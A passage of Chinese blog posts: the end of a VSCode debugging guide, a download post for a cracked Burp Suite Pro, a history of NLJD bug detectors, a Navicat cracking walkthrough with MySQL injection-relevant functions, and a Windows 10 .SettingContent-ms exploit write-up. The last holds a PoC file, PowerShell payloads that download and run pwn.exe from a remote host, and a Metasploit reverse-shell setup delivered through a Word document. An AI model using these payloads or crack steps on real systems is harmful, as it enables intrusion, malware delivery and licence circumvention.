设置断点很简单,在开始调试之前,我们将鼠标移动到某一行代码左边数字的旁边,会出现一个小红点,我们点击之后,这个小红点颜色就会变亮,这就代表你在这里设置了断点,下面我们找到右上角的三角图标,再点击它里面的”调试C\C++文件”,之后在界面下方的终端里输入数字n,会发现程序到那一行代码的时候,自动暂停了。 恭喜你已经完成了配置!!能做到这里你已经很不错了~以后编写代码就简单多了 结尾:VSCODE编译运行小技巧 以及F12-快速编译运行 想要新建一个文件夹项目???一个右键就好了!
  22. 前言 无需配置一把梭!2021/2022都有BUG 而且还需要破解 破解后也有光标错误乱码等BUG 2023Burpsuite汉化无需配置Java环境 并且已汉化+破解脚本 打开即用 更新说明 我们已经将Burp中内置的浏览器升级到Mac和Linux的114.0.5735.133版本以及Windows的114.0.5735.133/134版本。此更新包含多个安全修复。 特别鸣谢 感谢热心网友@justread的反馈,我们在本版本中支持了开箱即用的功能,无需配置任何java环境,运行BurpSuiteLoader.bat(Windows用户)或者BurpSuiteLoader.sh(Linux用户)即可使用,如果首次使用,你也可以点击点击激活.bat或者点击激活.sh进行激活 感谢热心网友@孤城的守夜人的反馈,我们在本版本中更新了最新的汉化包(来自Leon406的汉化) 脚本改进 目前改进后,您后续可以直接从BurpSuite官网下载jar包,然后将旧的版本burpsuite_pro_2023_x.jar文件删除,将新的放到路径下就可以自动识别,就无需每次都来博客下载了。 其实就是增加了一个简单的判断,来识别任意版本burpsuite_pro_v*.jar windows bat文件中增加自动查找当前目录下的burpsuite_pro_v*.jar文件 for /R "%~dp0" %%i in (burpsuite_pro_v*.jar) do ( set "burp_jar=%%~fi" goto :Found ) linux sh文件中增加自动查找当前目录下的burpsuite_pro_v*.jar文件 # 使用globbing找到以"burpsuite_pro_v"开头的jar文件 for jarfile in burpsuite_pro_v*.jar; do # 如果找到了文件,就跳出循环 if [[ -e "$jarfile" ]]; then break fi done 工具下载 如果您使用Linux运行(由于BurpSuite2022.12最新版只能支持java17了,故您可能还需要安装java17 jdk,如果您是kali linux,您可以运行命令sudo apt install openjdk-17-jdk) 开箱即用版无需安装任何java环境,直接运行就可以 提供下载(请自行选择): 20230628_BurpSuite_pro_v2023.6.1破解版 20230628_BurpSuite_pro_v2023.6.1开箱即用破解汉化版 230628_BurpSuite_pro_v2023.6.1开箱即用版 请评论 此处内容已隐藏,请评论后刷新页面查看.
  23. 篇首语:这些年,杨叔发现,虽然越来越多的人都开始使用NLJD,但似乎很多人对这些设备的发展史,以及那些行业中曾经赫赫有名的公司和专家均一无所知。 我们都知道:很多技术的发展,都是要经过“引进--研究--学习--超越”这几个步骤,所以杨叔特别准备了「TSCM发展史」系列软文,希望能让更多人真正了解和走进TSCM行业。 声明:以下内容符合OSINT国际开源情报搜集定义,不涉及任何非法行为,仅供交流与参考。 0x01 先说说NLJDNLJD,Non Linear Junction Detector,非线性结点探测器,可以说是当今开展TSCM反窃密检测、物理安全检测的必备专业设备之一。 通过识别PN结的非线性反应,NLJD能够轻易地检测到地板、家具及墙面里隐藏的电子器材,所以自1980年起,从欧美到亚洲,各国反间谍部门、情报机构、重要保密单位都开始大量装备NLJD,对内部环境开展严格的TSCM安全检测。 分享一份美国FBI的内部TSCM检测记录,这份写于1987年3月23日的报告,充分展现了定期检测的工作内容。 如上图可以看到,里面提及了无线检测、物理搜检及电话线路检测等等,均没有发现异常。 嗯,是的,自TSCM检测开展以来,在一个完整的TSCM检测流程里,不仅仅是非线性设备的使用,专业电话线路检测都是必查的内容,这是衡量TSCM检测能力专业与否的关键判断点之一。 更多内容,可以参加RC²的深度专家课程,也可以翻阅杨叔之前的这篇: 行业解密 | TSCM技术反窃密的前世今生 那么, 可能有人注意到了 为什么选择今天发这篇软文呢? 因为对于TSCM行业而言, 2月18日, 是非线性结点探测器发明人的诞辰纪念日。 0x02 NLJD发明人Charles Bovill The Special Operations Executive ,即鼎鼎有名的英国S.O.E特别行动局,囊括了各种各样的专家,今天要提到的是其中一位: Charles Bovill,查尔斯-博维尔(1911年2月18日-2001年5月09日),他后来也被业内人誉为“电子反侦察之父”。 Bovill是一个剧作家的儿子,但他却走了完全不同的路。他于1933年开始在HMV公司担任无线电工程师,仅仅两年后就被任命到空军部的无线电报部门。 1938年,他转到马可尼公司,但随着第二次世界大战的爆发,他被借调到英国皇家空军轰炸机和海岸司令部担任无线开发工程师。 1941年,他的能力引起了英国S.O.E特别行动局的注意,被招入到军种间研究局(I.S.R.B)的无线电实验和飞行部门工作,这是S.O.E技术研究和开发部门的一个掩护名称。 Bovill 在创造和使用Eureka(尤里卡)和 S-Phone(S型电话)方面发挥了关键作用,Bovill 经常陪同S.O.E空勤人员在法国上空安装和操作S型电话等无线电设备,并于1944年被派往S.O.E在意大利的399部队。在那里他为巴尔干地区空军装备飞机,及与铁托的游击队进行通信。 Eureka(尤里卡),按照当时的标准算是一个比较小的设备,使特工能够为飞机引导武器和供应品投放区。S型电话的主要特点是它能够减少特工被发现的可能性。这种电话可以装在手提箱里,使S.O.E的空勤人员可以和战场上的特工相互通话,而几乎没有被拦截的风险,最远可达30英里。 在薄雾和低云的恶劣天气条件下,尤里卡和S型电话的组合可以帮助提高英国皇家空军在投放武器、物资和人员时的准确性。 1942年4月,他成为皇家空军志愿后备队技术、信号和雷达分部的一名飞行中尉。在那个时候,为了探查飞机上被腐蚀的金属部件,Bovill 开发出了非线性结点探测器(NLJD) 1972年,离开S.O.E数年后,Bovill 加入Allen International(艾伦国际)担任技术总监,正式推出NLJD产品并向市场销售。 这家公司在威斯敏斯特(伦敦)有一个商店,专门生产微型麦克风、窃听器和其他间谍设备。据他的朋友和同事Lee Tracey(也是S.O.E专家)回忆说,艾伦国际实际上也是MI6军情六处某些活动的掩护公司。 很快地,艾伦国际公司开始为著名的007詹姆斯-邦德电影提供间谍小工具。 1973年,爱尔兰共和军担心他的这些发明被用来对付他们,试图炸毁他所在公司的威斯敏斯特办公室和陈列室。幸运的是,被他的同事Tracey提前发现,最终炸弹没有爆炸。 1999年,88岁的Bovill在第四频道的纪录片《The Walls Have Ears(墙有耳)》中展示了他发明的初代NLJD:Broom(扫帚)。这是他在战时开发的非线性结点探测器。 在二战期间,Broom(扫帚)被用来寻找被腐蚀的飞机零件,但博维尔发现它也可以用来寻找其他半导体,如二极管、晶体管和集成电路。 2001年5月9日,Charles Bovill 去世,享年90岁。 由于他在电子反侦察事务方面的丰富知识和能力,被整个 I.B.A英国国际刑事事务局尊称为 "Mr.Q"(Q先生)。 TIPS: 在某些资料中,认为俄罗斯人率先发明了非线性结点检测器(NLJD),因为他们在1972年与Bovill 同时提出了一个类似装置的发明申请。 但由于Bovill在二战期间,已经开始使用NLJD来探查飞机上被腐蚀的部件,所以在西方TSCM行业,普遍认为Charles Bovill 才是NLJD的原始发明者。 有本专门介绍这位二战无线电专家Charles Bovill 的回忆录,杨叔没能找到电子版,若有朋友收集到,也盼能分享给杨叔,感谢感谢~ 0x03 007电影里的Mr.Q007迷们都知道,Mr.Q是007系列电影中MI6(英国军情六处)的军需官,负责给邦德提供各种高科技工具。作为007背后的男人,他提供的武器和工具,多次协助邦德化险为夷。 而这一个角色的来源,正是007系列书籍的作者,在与S.O.E特别行动局合作后,才产生了007专用间谍器材的灵感。于是,Bovill的公司便开始为007系列电影里提供各式各样的经典间谍器材。 呐,现在大家都知道啦,007系列电影里“Mr.Q”的原型是Charles Bovill,而且直到去世,他在英国反间谍系统里的绰号就是“Mr.Q” 考考眼力:下面这些器材出现在哪几部007电影? 0x04 历史上知名的NLJD设备及制造商 这些历史上闻名遐迩的NLJD公司,均和Charles Bovill有着千丝万缕的关系。 1978年,Charles Bovill的S.O.E同事Lee Tracey离开英国军情六处,成立了自己的公司:即Audiotel International Ltd,最初的地址在伦敦的城市路。 Audiotel第一个产品是Scanlock Mark I 非线性结点探测器,不久又推出了Scanlock Mark 2和Scanlock Mark 3,最终演变成传奇产品Scanlock Mark VB。这些产品在英国和欧洲大陆流行起来,甚至至今仍在使用。也使得Audiotel 成为了TSCM反窃密领域的国际顶尖专业品牌。 1987年,Audiotel 搬到了位于科比(英国北安普敦郡)的新址。在那里,Scanlock 2000的后续产品被开发出来,形成了数字控制的多功能Scanlock ECM。 1989年,Audiotel 收购了Security Research Ltd.安全研究有限公司,从而获得了非线性结点检测器(NLJD)的最新技术。 2015年,Audiotel被Tioga公司收购。 Security Research Ltd. 由Charles Bovill一手创立,他既是二战时期的S.O.E老兵。也是Lee Tracey多年老友,自1970年代以来一直在开发和改进初代NLJD:Broom。 前面提到Charles Bovill 加入的Allen International(艾伦国际公司)后来被Security Research Ltd.收购,但这两家最终都归入了Audiotel 旗下。 Audiotel International Ltd 是欧洲领先的TSCM设备制造商,主要生产用于有效检测电子窃听器材的专业设备。Audiotel TSCM设备通常以Scanlock品牌名称在全球范围内销售。该公司成立于1978年,被认为是国际TSCM领域的主要领导者之一。 呐,现在明白了吧,关于NLJD的商业化产品,最初就是英国S.O.E出来的这几位专家捣鼓出来的。从那以后,通过研究仿制升级,更多的厂商才陆续冒了出来,比如英国JJN,美国REI等。 2017年,带着这份对引领国际TSCM行业发展先驱的敬佩和学习交流的态度,杨叔在参加完英国伦敦IFSEC安防展后,专程拜访了Audiotel International 的技术负责人,并现场交流学习了ScanLock设备的使用。 作为中国第二家拜访Audiotel International 的 TSCM公司,他们也专门在官网上做了报道。 PS:哈哈,猜猜第一家到访的是谁?估计只有真正懂行的人才说得出来。 0x03 NLJD的优势与缺点 随着技术的不断发展,NLJD在TSCM领域的地位也受到了很多挑战。越来越多的专业技术监视设备厂商,专门针对全球主流的NLJD做了对应性的开发和设计。 比如针对目前市场占有率最高的美国REI生产的ORION 2.4 HX非线性检测设备,就一直受到靶向性关注。 关于美国REI的介绍,可以关注杨叔写的这篇: TSCM情报库01 | 来自美国的扛把子 • REI 但即使如此,NLJD依旧在全世界每个TSCM设备库中都占有一席之地。只要在检测过程中使用得当,它就可以发现其他仪器所遗漏的非法器材。 所以,请牢记: NLJD只是完整TSCM装备中的一个组成部分,它的效果好坏只取决于操作者。 最后, 放一张照片: 杨叔在结束Audiotel 拜访后,专程到英国MI6 军情六处的外景打卡(007迷必选),也就是在那个时候,杨叔坚定了深入TSCM研究学习的决心。 所以,同步给大家分享一个心得: 「忧患之心不可无」 也正因为技术对抗一直在不断发展,所以我们更加不能过度地“迷信”某类专业设备的所谓唯一性,更不能“封闭造车”; 还是要通过辨证的思维来不断学习、研究和分析,综合发挥好各类技术和设备的优势,取长补短,始终保持自我的升级与提高,才能真正保持领先走在国际前列。
  24. 前言 Navicat可能是Mysql必备的工具了,不过域还是建议具备一些网站开发经验才能更好的学习. 其次今天不发Thm靶场,水一下文章 发一些之前用的工具的破解教程(抱歉 介绍一下Navicat Navicat Premium 是一套可创建多个连接的数据库开发工具,让你从单一应用程序中同时连接 MySQL、Redis、MariaDB、MongoDB、SQL Server、Oracle、PostgreSQL 和 SQLite 。它与 GaussDB 、OceanBase 数据库及 Amazon RDS、Amazon Aurora、Amazon Redshift、Amazon ElastiCache、Microsoft Azure、Oracle Cloud、MongoDB Atlas、Redis Enterprise Cloud、阿里云、腾讯云和华为云等云数据库兼容。你可以快速轻松地创建、管理和维护数据库。 但是Navicat是需要破解的,不然只能用14天接下来教大家如何破解 破解激活教程 先在官方下载Navicat Navicat | 下载 Navicat Premium 14 天免费 Windows、macOS 和 Linux 的试用版 破解软件下载地址NavicatCracker.exe_免费高速下载|百度网盘-分享无限制 (baidu.com) 破解思路: 把破解软件放到Navicat文件夹中 让后关闭防火墙和网络 全给关了 此时关闭网络进行下一步 2.右键【以管理员身份运行】NavicatCracker.exe 3.点击三个点,选择navicat安装目录 目录如我这样选择 4.点击【Patch】(点击之前不要打开Navicat)(只可Patch一次,重复操作时需重装Navicat) 5.弹框选择【是】 6.打开【Navicat】软件,点击【注册】 7.点击【Generate】,生成激活码,复制激活码至Navicat 以下是图片演示 8.点击【手动激活】(无法出现该选项,请检查是否断网了) 9.将【请求码】复制到激活软件中;点击【Generate Activation Code】;将生成的【激活码】复制到Navicat中;点击【激活】 激活完毕 Mysql基础语法 重要事情的说一遍. 命令后面不要忘记带; 命令后面不要忘记带; 命令后面不要忘记带; mysql -u root -p 登录Mysql 我的密码是root 展现现在的数据库 show databases: 比如我想用security的数据库(这是我SQL注入的靶场) 使用命令: use security; 展现一下所有的用户(前提在表内得有) select * from users; 使用order by排序 记住这个是反引号 在键盘Esc的下面 select * from `users` order by `username`; 注释: 等等还有许多语法,因为本期内容主要是使用工具,域的任务也就完成啦,语法暂且不演示了: 请大家自行操作 mysql -u root -p 登录本地 密码root mysql -u root -p -h 127.0.0.1 -p 3306 #指定登录Ip 端口数据库用于远程登录 展示数据库 show database: 使用security数据库 use security ; 使用order by排序username select * from users order by username; 显示用户名select user() 当前用户名可以查询权限 select current_user() 当前数据库路径 select @@datadir; 当前所用数据库select database() 数据库版本 select version(); 或者@@version 操作系统版本 select @@version__complie_os 以下都是select 连接N个字符串concat(str1,str2) 用分隔符连接两个字段的字符串concat_ws(‘::’,str1,str2) group_concat(str1,str2)将多行查询结果以逗号分隔全输入 substr(string,start,length) 将模板字符串从哦start位置截取指定长度length limit 返回结果中的前几条数据或者中间数据】 COUNT(column_name)返回指定列的值的数目(NUll不计入) sleep(num)让语句暂停num秒时间 if(condition,result1,result2)判断一个条件 条件为真执行一否则执行二 load_file()读文件操作 into_outfile() 写入文件操作
  25. 0x00 SettingContent-ms文件介绍 .SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行. 文件包含一个<DeepLink>标记,它带有带参数的任何二进制文件并执行它。这可能会导致问题,因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件,该文件为其提供shell命令执行。 0x01 Windows Defender AV ASR Rules Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。 从以下版本开始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules_Ids功能规则。 而在低于该版本的10240中,Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules_Ids 注意:某些时候漏洞利用失败取决于文件位置(默认策略设置),因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe -install) C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\ 0x02 漏洞复现 1.简单的测试弹出计算器 1.将测试poc文件放入以下目录位置: C:\Users\admin(用户) \AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN\目录下 2. 点击测试POC文件: <?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink> <Icon>%windir%\system32\control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings> 其他<DeepLink>…</DeepLink>可替换POC: 1. %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/ 2. %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;" 3. powershell-windowstyle hiddle (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe' 4. wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist" 3. 点击test. settingcontent-MS,即可弹出calc 2.嵌入到office中弹出计算器 1.创建一个word,这里我就拿offcie 2007来当例子 2.点插入-对象-选择由文件创建 4. 双击图标后即可打开即可弹出计算器、 3.kali下反弹shell 利用脚本下载地址: https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py 1.在KALI下执行脚本auto_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口 root@kali2018:/opt# python auto_settingcontent-ms.py 2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。 5.开启apache服务。 root@kali2018:/opt# service apache2 start 6.启动msf,然后进行设置IP地址和监听端口以及payload msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https msf exploit(multi/handler) > show options msf exploit(multi/handler) > set lhost 10.250.117.10 msf exploit(multi/handler) > set lport 5555 msf exploit(multi/handler) > exploit 7.将生成的Test.SettingContent-ms拷贝出来,然后新建一个test.doc文档,通过插入数据 8.然后点击保持test.docx,并打开该文档点击图标即可反弹。 9.可以看到kali下反弹目标系统shell. 0x03 漏洞影响版本 适用于32位系统的Windows 10版本1703 4343885 安全更新 远程执行代码 重要 4338826 适用于基于x64的系统的Windows 10版本1703 4343885 安全更新 远程执行代码 重要 4338826 适用于32位系统的Windows 10版本1709 4343897 安全更新 远程执行代码 重要 4338825 适用于64位系统的Windows 10版本1709 4343897 安全更新 远程执行代码 重要 4338825 用于32位系统的Windows 10版本1803 4343909 安全更新 远程执行代码 重要 4338819 适用于基于x64的系统的Windows 10版本1803 4343909 安全更新 远程执行代码 重要 4338819 Windows Server,版本1709(服务器核心安装) 4343897 安全更新 远程执行代码 重要 4338825 Windows Server,版本1803(服务器核心安装) 4343909 安全更新 远程执行代码 重要 4338819 0x04 漏洞防御建议 最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外,可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开(https://montour.co/2016/09/group-policy-force-js-files/)。 0x05 参考链接 https://www.t00ls.net/thread-47622-1-1.html https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341 https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 https://github.com/joesecurity/scmwrap https://github.com/SScyber0/Deeplink_Reverse_TCP